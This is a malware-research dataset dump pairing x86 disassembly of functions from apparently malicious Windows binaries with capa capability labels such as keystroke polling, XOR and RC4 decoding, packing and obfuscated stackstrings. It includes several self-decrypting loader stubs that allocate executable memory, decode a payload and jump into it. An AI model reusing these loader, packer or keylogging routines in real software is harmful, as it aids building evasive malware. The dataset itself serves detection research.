joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404534
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffadc
push esi
lea esi, [esp + 0x40]
mov dword [esi], 0x4f4c45
mov dword [esi + 4], 0
push esi
call dword cs:[sym.imp.USER32.dll_CharLowerA]
cmp dword [esi], 0x6f6c65
jne 0x404566
cmp eax, esi
je 0x404567
leave
ret 4
add byte [ebx - 0x17a7dbcc], cl
sbb byte [eax], al
add byte [eax], al
mov esi, dword [esp]
pop eax
call fcn.00404588
cmp eax, 0
je 0x40457f
cmp edx, eax
jbe 0x404597
jmp eax
push eax
notrack jmp dword ds:[sym.imp.KERNEL32.dll_GetTimeZoneInformation]
in al, 0xe0
inc edx
add byte [ebx], ah
lds eax, [eax + 0x3b]
les esp, [esi]
jp 0x4045a6
call dword es:[sym.imp.USER32.dll_GetKeyState]
dec eax
mov esp, 0x480042e0
and eax, 0x7ffe
sub ax, 0x7ffc
xchg ecx, eax
push ecx
ror dword [esp], 4
rol dword [esp], 7
pop ecx
xchg ecx, eax
call dword cs:[eax*4 + sym.imp.KERNEL32.dll_HeapAlloc]
push eax
pop edx
dec eax
and eax, 6
lea eax, [eax*4]
push eax
add dword [esp], 0xffffff99
pop eax
push 0x40d695
pop edx
lea eax, [edx + eax]
je 0x4045a6
ret

Function at 0x404588
Capabilities:
Log keystrokes via polling

Disassembly:
push esp
push 0
mov eax, ebp
push 0
push 0x10000
call dword es:[sym.imp.GDI32.dll_SetAbortProc]
and eax, ebp
inc eax
cmp eax, esp
jp 0x4045a6

Function at 0x3ad7258d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x3ad7a064]
jne 0x3ad72597
repz ret
jmp fcn.3ad73d0c

Function at 0x3ad743ba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x3ad743c9
pop dword [ebp - 0x18]
mov eax, 0x3ad743c9
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x36966
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x43fc
xor edx, edx
add edx, eax
mov edi, 0x70204603
sub edi, 0x3547f803
add edi, dword [ebp - 0x18]
mov esi, 0x20177074
xor dword [ebp - 0x10], 0x85eba798
mov ebx, dword [edi]
add dword [ebp - 0xc], 0x4630f9cc
xor ebx, esi
add dword [ebp - 0x10], 0x5fc5b032
mov dword [edx], ebx
mov dword [ebp - 8], 0xed45da29
add edx, 0xb5c9aff6
sub edx, 0xb5c9aff2
add edi, 0x700122d5
sub edi, 0x700122d1
loop 0x3ad74414
add eax, 0xb5ffba61
add eax, 0x4a014862
xor ebx, ebx
add ebx, eax
add eax, 0xd192a817
add eax, 0x2e6d57ee
mov ecx, 0x3ad70000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x402f7c
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push 0
mov eax, dword [ebp + 8]
push eax
push dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
push eax
push dword [ebp + 0x14]
call sub.kernel32.dll_WriteFile
test eax, eax
setne al
movsx eax, al
push eax
call fcn.00402e1c
mov esi, eax
cmp dword [0x407f44], 0xffffffff
je 0x402fdd
mov eax, dword [ebp + 0x14]
cmp eax, dword [0x407f40]
jne 0x402fdd
lea eax, [ebp - 0x1c]
push eax
push dword [0x407f40]
call sub.kernel32.dll_GetConsoleScreenBufferInfo
movsx eax, word [ebp - 0x18]
mov dword [0x407f4c], eax
movsx eax, word [ebp - 0x16]
mov dword [0x407f50], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4030f4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38c
push esi
push edi
mov edi, 3
push 0x408a8c
call fcn.00406240
mov esi, dword [eax]
push 0x408a8c
call fcn.00406240
mov dword [eax], 0x40
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x38c]
push eax
push 0
call fcn.00405aa8
call fcn.00405924
lea eax, [ebp - 0x150]
push eax
push 1
call fcn.004059b0
call fcn.00404580
test eax, eax
jne 0x403235
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 0x40
push 0
call fcn.00405a88
call fcn.00404580
test eax, eax
jne 0x4031ab
cmp word [ebp - 0x190], 0x5a4d
jne 0x4031ab
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.004059cc
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x190]
push eax
push 2
push 0
call fcn.00405a88
jmp 0x4031b5
mov dword [ebp - 0x154], 0
lea eax, [ebp - 0x150]
push eax
push dword [ebp - 0x154]
call fcn.004059cc
call fcn.00404580
test eax, eax
jne 0x403219
cmp word [ebp - 0x190], 0x4550
jne 0x403219
lea eax, [ebp - 0x150]
push eax
lea eax, [ebp - 0x288]
push eax
push 0xf8
push 0
call fcn.00405a88
call fcn.00404580
test eax, eax
jne 0x403219
cmp dword [ebp - 0x288], 0x4550
jne 0x403219
cmp word [ebp - 0x22c], 3
jne 0x403219
mov edi, 2
lea eax, [ebp - 0x150]
push eax
call fcn.004059fc
push 0x408a84
call fcn.00406240
mov dword [eax], 0
push 0x408a8c
call fcn.00406240
mov dword [eax], esi
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40328c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push esi
mov eax, dword [ebp + 8]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push dword [ebp + 0x14]
push dword [ebp + 0x18]
push dword [ebp + 0x1c]
call sub.kernel32.dll_CreateThread
mov esi, eax
push esi
call sub.kernel32.dll_CloseHandle
test esi, esi
setne al
movsx eax, al
push eax
call fcn.00402e1c
mov esi, eax
mov eax, esi
pop esi
pop ebp
ret 0x18
Function at 0x403330
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
push esi
push edi
cmp dword [0x407fe4], 0
je 0x403352
mov eax, dword [0x407fe4]
mov dword [ebp - 4], eax
jmp 0x4033e7
push 0x104
call fcn.00404654
mov dword [ebp - 4], eax
push 0x104
push dword [ebp - 4]
push 0
call sub.kernel32.dll_GetModuleFileNameA
push dword [ebp - 4]
call fcn.0040411c
inc eax
mov ebx, eax
call sub.kernel32.dll_GetCommandLineA
mov esi, eax
mov al, byte [esi]
dec al
cmp al, 0x1f
jbe 0x403397
push esi
lea eax, [ebp - 0x108]
push eax
call fcn.004032c8
mov esi, eax
inc esi
push esi
call fcn.0040411c
inc eax
mov edi, eax
lea eax, [ebp - 4]
push eax
mov eax, ebx
add eax, edi
inc eax
push eax
call fcn.004046b4
call sub.kernel32.dll_AreFileApisANSI
test eax, eax
jne 0x4033c8
push edi
mov eax, dword [ebp - 4]
add eax, ebx
push eax
push esi
call sub.user32.dll_CharToOemBuffA
jmp 0x4033d5
push esi
mov eax, dword [ebp - 4]
add eax, ebx
push eax
push edi
call fcn.00404e94
mov eax, dword [ebp - 4]
add eax, ebx
add eax, edi
mov byte [eax], 0
mov eax, dword [ebp - 4]
mov dword [0x407fe4], eax
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4034c4
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
push esi
mov dword [ebp - 0x24], 0x52414853
mov dword [ebp - 0x20], 0x454d4445
mov dword [ebp - 0x1c], 0x5356354d
call sub.kernel32.dll_GetCurrentProcessId
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0xb
call fcn.00404e08
xor eax, eax
mov bl, 0
cmp dword [0x407f88], 0
jne 0x403512
push 0x407cd8
push 1
call fcn.00402d28
mov dword [0x407f88], eax
cmp dword [0x407f88], 0
jne 0x40352b
push 0x8000
call fcn.00404654
mov esi, eax
mov bl, 1
jmp 0x403565
lea eax, [ebp - 0x24]
push eax
push 0
push 6
call dword [0x407f88]
test eax, eax
jne 0x403555
lea eax, [ebp - 0x24]
push eax
push 0x8000
push 0
push 4
push 0
push 0xffffffffffffffff
call sub.kernel32.dll_CreateFileMappingA
mov bl, 1
push 0
push 0
push 0
push 6
push eax
call sub.kernel32.dll_MapViewOfFile
mov esi, eax
test bl, bl
je 0x40358e
push esi
push 0x8000
push 0xff
call fcn.00404ef0
push esi
push 0x24
push 0
call fcn.00404ef0
mov eax, esi
add eax, 0xc
push eax
call fcn.0040473c
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40393c
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
push esi
call fcn.004038c8
lea edx, [ebp - 0x400]
movzx ecx, word [ebp + 0x14]
dec ecx
xor esi, esi
jmp 0x403974
mov eax, dword [ebp + 8]
movzx eax, byte [eax]
mov word [edx + 2], ax
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax]
mov word [edx], ax
inc dword [ebp + 0x18]
add edx, 4
inc esi
cmp ecx, esi
jge 0x40395a
mov ax, word [ebp + 0x14]
mov word [ebp - 0x404], ax
mov word [ebp - 0x402], 1
mov word [ebp - 0x408], 0
mov word [ebp - 0x406], 0
mov ax, word [ebp + 0x10]
mov word [ebp - 0x410], ax
mov ax, word [ebp + 0xc]
mov word [ebp - 0x40e], ax
movzx ecx, word [ebp + 0x10]
movzx eax, word [ebp + 0x14]
add ecx, eax
dec ecx
mov word [ebp - 0x40c], cx
mov ax, word [ebp + 0xc]
mov word [ebp - 0x40a], ax
lea eax, [ebp - 0x410]
push eax
push dword [ebp - 0x408]
push dword [ebp - 0x404]
lea eax, [ebp - 0x400]
push eax
push dword [0x407f40]
call sub.kernel32.dll_WriteConsoleOutputA
pop esi
mov esp, ebp
pop ebp
ret 0x14

Function at 0x403d1c
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 0x10]
call sub.kernel32.dll_GetLocaleInfoA
test eax, eax
jle 0x403d3c
mov al, byte [ebp - 4]
jmp 0x403d3f
mov al, byte [ebp + 8]
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405d60
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
or edi, 0xffffffff
or eax, 0xffffffff
mov dword [ebp - 0x24], 0
xor esi, esi
mov edx, dword [0x408338]
add edx, 0x24
mov esi, edx
cmp dword [edx], 0xffffffff
je 0x405d9e
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x405d99
mov ecx, dword [edx + 8]
cmp ecx, dword [esi + 8]
jbe 0x405d99
mov esi, edx
add edx, 0x10
jmp 0x405d82
mov edx, esi
cmp dword [edx], 0xffffffff
je 0x405eb2
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x405eb2
mov ecx, dword [edx + 8]
cmp ecx, dword [ebp + 0x10]
ja 0x405eb0
mov ecx, dword [edx + 8]
sub dword [ebp + 0x10], ecx
mov ecx, dword [edx + 8]
mov dword [ebp - 0x18], ecx
mov edx, dword [edx + 0xc]
test edx, edx
je 0x405eb0
mov cl, byte [edx]
sub cl, 0x3c
jne 0x405de6
jmp 0x405eb0
sub cl, 3
jne 0x405e00
inc edx
mov dword [ebp - 0xc], edx
movzx ecx, byte [edx]
inc ecx
add edx, ecx
mov byte [ebp - 0x25], 1
jmp 0x405eab
inc cl
jne 0x405e14
movzx ecx, word [edx + 1]
add edi, ecx
add edx, 3
jmp 0x405eab
inc cl
jne 0x405e28
movzx ecx, word [edx + 1]
add edi, ecx
mov ecx, dword [edx + 3]
add eax, ecx
add edx, 7
jmp 0x405e3b
movzx ecx, byte [edx]
shr ecx, 6
add edi, ecx
mov cl, byte [edx]
and cl, 0x3f
movzx ecx, cl
add eax, ecx
inc edx
cmp eax, dword [ebp + 0x10]
jne 0x405e45
mov esi, eax
mov dword [ebp - 0x24], edi
cmp eax, dword [ebp + 0x10]
jl 0x405ea2
sub eax, dword [ebp + 0x10]
cmp eax, 0xa
jle 0x405e58
cmp byte [ebp - 0x25], 0
jne 0x405ea0
mov eax, dword [ebp - 0xc]
mov cl, byte [eax]
mov eax, dword [ebp + 0xc]
mov byte [eax], cl
mov dword [ebp - 0x14], 0
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp eax, dword [ebp - 0x14]
jle 0x405e8e
inc dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
mov dl, byte [eax + ecx]
xor dl, 0xaa
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x14]
mov byte [eax + ecx], dl
jmp 0x405e69
movzx eax, word [ebp - 0x24]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
add esi, dword [ebp - 0x18]
mov eax, esi
jmp 0x405eb2
jmp 0x405eb0
mov esi, eax
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x25], 0
jmp 0x405dd8
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret 0xc

Function at 0x406388
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x10
cld
push ecx
call fcn.00406364
call fcn.004034c4
mov dword [0x408338], eax
lea edx, [eax + 0x18]
mov dword [0x408398], edx
pop edx
call fcn.004061e4
call sub.kernel32.dll_GetEnvironmentStrings
mov dword [0x408364], eax
push 0
call sub.kernel32.dll_GetModuleHandleA
mov dword [0x408378], eax
mov dword [0x4083a0], eax
call fcn.004030f4
cmp eax, 3
setb byte [0x408341]
call fcn.00404114
lea eax, [esp]
xor edx, edx
mov ecx, dword fs:[edx]
mov dword fs:[edx], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x406614
mov dword [eax + 8], ebp
jmp dword [esp + 0x10]
Function at 0x40c84b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
xor eax, eax
mov edx, eax
push esi
mov esi, dword [ebp + 8]
and ecx, 0xfffffffc
jbe 0x40c88f
rol eax, 5
xor eax, dword [edx + esi]
add edx, 4
imul eax, eax, 0x9e3779b9
rol eax, 5
xor eax, 4
imul eax, eax, 0x9e3779b9
cmp edx, ecx
jb 0x40c85e
jmp 0x40c88f
movsx ecx, byte [edx + esi]
rol eax, 5
xor eax, ecx
imul eax, eax, 0x9e3779b9
inc edx
cmp edx, dword [ebp + 0xc]
jb 0x40c87f
pop esi
pop ebp
ret

Function at 0x40d5e7
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push 1
lea esi, [ebx - 1]
push 0x2000
not esi
push ebx
and esi, 0xf0deafff
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, eax
cmp edi, esi
jne 0x40d61c
mov eax, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp esi, dword [ebp - 0x18]
jb 0x40d646
lea eax, [esi + ebx]
cmp eax, dword [ebp - 0x18]
jb 0x40d646
test edi, edi
je 0x40d613
push 0x8000
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
jmp 0x40d613
test edi, edi
je 0x40d64e
mov eax, edi
jmp 0x40d615
push 1
push 0x2000
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
test eax, eax
jne 0x40d615
mov esi, 0xc7
push esi
push str.c:_builds_moz2_slave_m_in_w32_d_0000000000000000000_build_src_mfbt_Poison.cpp
push str.no_usable_poison_region_identified
call fcn.00410350
add esp, 0xc
int3
Function at 0x410384
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [ebp - 8]
push eax
mov dword [sym.TestIntegerPrintfMacros.exe_gMozillaPoisonSize], eax
call fcn.0040d5e7
pop ecx
mov ecx, dword [sym.TestIntegerPrintfMacros.exe_gMozillaPoisonSize]
mov dword [sym.TestIntegerPrintfMacros.exe_gMozillaPoisonBase], eax
test ecx, ecx
je 0x4103bc
shr ecx, 1
dec ecx
add eax, ecx
mov dword [sym.TestIntegerPrintfMacros.exe_gMozillaPoisonValue], eax
mov esp, ebp
pop ebp
ret

Function at 0x430006
Capabilities:
Encode data using xor

Disassembly:
call 0x43000c
nop
pop eax
nop
nop
nop
nop
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
popal
nop
nop
nop
jmp fcn.00401219
Function at 0x402024
Capabilities:
Hash data using sha1
Hash data using sha1 via wincrypt
Hash data via wincrypt
Initialize hashing via wincrypt

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0xc], edx
mov ecx, dword [ebp + 0x10]
xor esi, esi
push edi
mov edi, dword [ebp + 0xc]
push 7
cmp dword [ecx], 8
mov dword [ebp - 4], esi
pop ebx
jae 0x40204e
xor eax, eax
jmp 0x402179
lea ecx, [ebp - 4]
push ecx
push esi
push esi
push 0x8004
push eax
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x402087
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4011e8
push 2
call fcn.00402df9
pop ecx
push eax
call dword [sym.imp.msvcrt.dll_fwprintf]
add esp, 0xc
jmp 0x402168
push esi
push dword [ebp + 8]
push dword [ebp - 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x4020a9
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x401258
jmp 0x402070
push 4
pop ecx
push esi
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ecx
push eax
lea eax, [ebp - 8]
push eax
push ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x4020d4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4012c0
jmp 0x402070
mov eax, dword [ebp + 0x10]
mov eax, dword [eax]
cmp dword [ebp - 8], eax
jbe 0x4020fb
push dword [ebp - 8]
push eax
push 0x401340
push 2
call fcn.00402df9
pop ecx
push eax
call dword [sym.imp.msvcrt.dll_fwprintf]
add esp, 0x10
jmp 0x402168
push esi
mov dword [ebp - 8], eax
lea eax, [ebp - 8]
push eax
push edi
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
jne 0x402124
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4013b8
jmp 0x402070
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp - 8]
push 8
mov dword [ecx], eax
cmp eax, 8
jae 0x40213b
push eax
push 0x401420
jmp 0x4020e7
add eax, 0xfffffff8
add eax, edi
push eax
push edi
call sub.msvcrt.dll_memmove
add esp, 0xc
mov al, byte [esi + edi]
mov cl, byte [ebx + edi]
mov byte [ebx + edi], al
mov byte [esi + edi], cl
inc esi
dec ebx
cmp esi, ebx
jb 0x40214a
mov eax, dword [ebp + 0x10]
xor esi, esi
inc esi
mov dword [eax], 8
cmp dword [ebp - 4], 0
je 0x402177
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x4028d0
Capabilities:
Terminate process

Disassembly:
push 0xc
push 0x402e58
call fcn.00402d58
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov edi, ebx
mov edx, 0x403364
mov ecx, esi
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
je 0x4026f8
cmp eax, esi
jne 0x4026eb
xor esi, esi
inc esi
mov edi, esi
jmp 0x4026fb
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4026cf
xor esi, esi
inc esi
cmp dword [0x403368], esi
jne 0x40270d
push 0x1f
call fcn.00573000
pop ecx
jmp 0x402747
cmp dword [0x403368], ebx
jne 0x402741
mov dword [0x403368], esi
push 0x4010cc
push 0x4010c0
call fcn.0040282c
pop ecx
pop ecx
test eax, eax
je 0x402747
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40281c
mov dword [0x403014], esi
cmp dword [0x403368], esi
jne 0x40276a
push 0x4010bc
push 0x4010b4
call sub.msvcrt.dll__initterm
pop ecx
pop ecx
mov dword [0x403368], 2
test edi, edi
jne 0x402777
xor eax, eax
mov ecx, 0x403364
xchg dword [ecx], eax
cmp dword [0x40336c], 0
je 0x4027a3
push 0x40336c
call fcn.00402bb0
pop ecx
test eax, eax
je 0x4027a3
push ebx
push 2
push ebx
mov esi, dword [0x40336c]
mov ecx, esi
call dword [0x4040dc]
call esi
push dword [0x403020]
push dword [0x40301c]
push dword [0x403018]
call fcn.00402315
add esp, 0xc
mov dword [0x403010], eax
cmp dword [0x403028], 0
jne 0x402801
push eax
call dword [sym.imp.msvcrt.dll_exit]
mov ecx, dword [ebp - 0x14]
mov eax, dword [ecx]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
push ecx
push eax
call sub.msvcrt.dll__XcptFilter
pop ecx
pop ecx
ret
cmp dword [0x403014], 0
jne 0x402815
call dword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x403010]
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret
call fcn.00402ca5
jmp 0x4026b3

Function at 0x402a94
Capabilities:
Parse pe header

Disassembly:
push 0xc
push 0x402e78
call fcn.00402d58
xor ecx, ecx
mov eax, dword [ebp + 8]
test eax, eax
je 0x402af4
cmp eax, 0xffffffff
je 0x402af4
mov dword [ebp - 4], ecx
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x402aed
mov edx, dword [eax + 0x3c]
test edx, edx
js 0x402aed
cmp edx, 0x10000000
jae 0x402aed
add eax, edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [eax]
sub ecx, 0x4550
neg ecx
sbb ecx, ecx
not ecx
and ecx, eax
jmp 0x402aea
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, ecx
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x402b60
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x402b9e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x402b96
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x402ba0
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x402b86
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x402c70
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x402ca1
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x402ca1
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x402ca1
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x432000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40c7d0
nop
nop
mov ecx, 0x28ca6edc
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x43204e
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..data
nop
mov ebx, 0x42f314
nop
mov ecx, 0x190b0fdb
nop
nop
nop
nop
nop
test eax, eax
je 0x432084
nop
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x407e15
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42e180]
jne 0x407e1f
repz ret
jmp fcn.0040bc0c

Function at 0x4081dd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
pushal
call 0x4081ec
pop dword [ebp - 8]
mov eax, 0xb916d796
sub eax, 0xb8d655aa
sub dword [ebp - 8], eax
mov dword [ebp - 0x18], 0x91701a0
sub dword [ebp - 0x18], 0xbac4bc55
mov dword [ebp - 0x14], 0xdd1819ee
sub dword [ebp - 0x14], 0xaae4cda9
mov dword [ebp - 0x10], 0xfe6ecc63
add dword [ebp - 0x10], 0x4ddd77cb
mov dword [ebp - 0xc], 0xc96cbd81
add dword [ebp - 0xc], 0x3693427f
lea eax, [ebp - 0x18]
push eax
mov eax, 0x7bfd752b
add eax, 0x8444bb49
add eax, dword [ebp - 8]
call dword [eax]
mov dword [ebp - 0x18], 0x186aa1d0
add dword [ebp - 0x18], 0x5c07c786
mov dword [ebp - 0x14], 0x4de7be3d
add dword [ebp - 0x14], 0xf384a338
mov dword [ebp - 0x10], 0x3619bd23
add dword [ebp - 0x10], 0x2d55af49
mov dword [ebp - 0xc], 0x9aa14bd
sub dword [ebp - 0xc], 0x9aa14bd
lea ebx, [ebp - 0x18]
push ebx
push eax
mov eax, 0x467312c0
add eax, 0xb9cf1e64
add eax, dword [ebp - 8]
call dword [eax]
push 0x40
push 0x1000
push 0x3d38e
push 0
call eax
mov ecx, 0x982c2ab0
sub ecx, 0x982be4b3
mov edi, eax
mov esi, 0x434400
add esi, dword [ebp - 8]
mov ebx, 0x96b482f6
sub ebx, 0xe129e066
xor dword [ebp - 4], edx
mov edx, dword [esi]
sub dword [ebp - 4], ebx
sub edx, ebx
sub dword [ebp - 4], 0x7658aabd
mov dword [edi], edx
xor dword [ebp - 4], 0x78612438
add edi, 0xcaa19569
add edi, 0x355e6a9b
add esi, 4
loop 0x408308
add eax, 0xe2fbe730
add eax, 0x1d052397
mov ebx, eax
add eax, 5
mov ecx, 0xfa1d1033
add ecx, 0x622efcd
add ecx, dword [ebp - 8]
call ebx
leave
ret